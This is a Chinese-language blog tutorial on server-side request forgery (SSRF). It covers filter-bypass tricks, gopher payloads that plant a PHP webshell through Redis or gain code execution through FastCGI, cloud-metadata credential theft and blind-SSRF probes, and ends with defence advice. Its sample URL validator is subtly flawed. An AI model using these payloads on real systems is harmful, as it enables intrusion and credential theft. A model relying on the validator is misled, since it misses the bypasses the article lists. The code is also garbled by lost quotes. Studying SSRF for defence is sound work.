SSRF漏洞实战:从原理到内网渗透

张开发
2026/5/10 18:44:32 15 分钟阅读

分享文章

SSRF漏洞实战:从原理到内网渗透
1. SSRF漏洞的本质与危害SSRFServer-Side Request Forgery就像是一个被操控的邮差。想象一下你让邮差去隔壁超市买瓶水但他却偷偷用你的名义去银行取钱——这就是SSRF的核心原理。服务端本该只访问受信任的内部资源但攻击者通过构造特殊请求让服务器变成了攻击内网的跳板。我曾在一次渗透测试中仅凭一个图片上传功能就横扫了整个内网。当时目标网站允许通过URL加载远程图片但未对地址做任何过滤。通过简单的http://192.168.1.1/admin这样的请求直接获取到了后台管理页面。这种漏洞的可怕之处在于内网穿透绕过防火墙直接访问内部系统协议利用除了HTTP还能利用file/gopher等危险协议权限继承以服务器身份执行操作往往拥有较高权限2. 漏洞的藏身之处SSRF就像网络安全界的变色龙常隐藏在看似无害的功能中。根据我的实战经验这些场景最高危2.1 文件处理功能图片远程下载头像上传/文章配图文档在线预览Word/PDF转码文件导入导出Excel数据导入去年审计某OA系统时发现其导入Excel功能会读取URL文件。通过file:///etc/passwd直接获取了系统用户列表。更危险的是这类功能往往需要服务器高权限。2.2 第三方服务集成网页内容抓取URL预览功能邮件服务器配置云服务状态检测某次遇到一个有趣的案例网站的健康检查功能会请求用户输入的URL检测可用性。通过dict://redis:6379/info直接获取了Redis配置信息最终导致整个集群沦陷。3. 绕过防御的七种武器现代WAF对SSRF的防护越来越强但道高一尺魔高一丈。这些绕过技巧在实战中屡试不爽3.1 进制转换艺术http://2130706433 → 127.0.0.1 http://0x7f000001 → 127.0.0.1 http://0177.0.0.1 → 127.0.0.13.2 域名欺骗术http://127.0.0.1.xip.io → 127.0.0.1 http://localtest.me → 127.0.0.13.3 URL解析特性http://foo127.0.0.1 → 访问127.0.0.1 http://127.0.0.1:80evil.com → 实际访问evil.com曾用http://127.0。0。1中文句号绕过某云WAF这种编码差异经常被忽略。4. 内网渗透实战手册4.1 Redis未授权访问利用当发现内网Redis服务时可以这样getshellimport urllib.parse payload flushall set shell ?php system($_GET[cmd]);? config set dir /var/www/html config set dbfilename shell.php save print(gopher://127.0.0.1:6379/_ urllib.parse.quote(payload.replace(\n,\r\n)))这个Payload会清空Redis数据写入PHP webshell修改存储路径为web目录保存为php文件4.2 FastCGI RCE突破利用PHP-FPM的未授权访问gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH106%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20none%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%06%04%00%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20die%28%29%3B%20%3F%3E%00%00%00%00这个攻击链的关键在于伪造FastCGI协议包设置auto_prepend_filephp://input通过PHP_VALUE覆盖配置5. 防御体系的构建之道真正的防护需要多层防御5.1 输入过滤层def validate_url(url): if not url.startswith((http://, https://)): raise ValueError(仅允许HTTP/HTTPS协议) parsed urllib.parse.urlparse(url) if parsed.hostname in [localhost, 127.0.0.1]: raise ValueError(禁止访问本地地址) if ipaddress.ip_address(parsed.hostname).is_private: raise ValueError(禁止访问内网IP) return url5.2 网络隔离策略前端服务器单独VLAN关键服务设置双向防火墙规则Redis/MySQL等只监听内网5.3 服务加固方案PHP禁用危险函数curl_exec, file_get_contents所有文件操作使用chroot沙盒定期更新协议库防止DNS重绑定在一次金融系统攻防演练中我们通过组合协议白名单请求目的地验证请求结果检查的三重机制成功拦截了所有SSRF攻击尝试。这印证了纵深防御的重要性。6. 高级利用技巧当基本防御都到位时可以尝试这些进阶手法6.1 DNS重绑定攻击注册可控域名并设置极短TTL首次解析返回合法外网IP第二次解析返回内网地址利用时间差绕过IP检查6.2 云元数据利用http://169.254.169.254/latest/meta-data/iam/security-credentials/AWS/Aliyun等云平台的元数据接口是SSRF的黄金目标往往能直接获取云服务凭证。6.3 盲SSRF利用通过DNS日志或时间差判断http://burpcollaborator.net/?tokenxxx http://192.168.1.1:8080 观察响应时间差异某次红队行动中我们通过盲SSRF配合内网服务响应时间差异成功绘制出了目标内网拓扑图。7. 自动化检测方案手工测试效率太低推荐这个检测流程使用Burp的Collaborator功能部署内部SSRF检测服务自动化fuzz测试框架我常用的检测Payloadhttp://{INTERNAL_IP}/favicon.ico dict://{INTERNAL_IP}:6379/info file:///etc/passwd记住SSRF就像网络安全中的特洛伊木马表面无害实则致命。只有深入理解其原理才能构建有效的防御体系。在最近的一次渗透中正是由于目标系统忽略了URL解析的一致性处理让我们通过一个简单的302跳转就突破了重重防线。这再次证明安全是一个整体任何细微的疏忽都可能成为突破口。

更多文章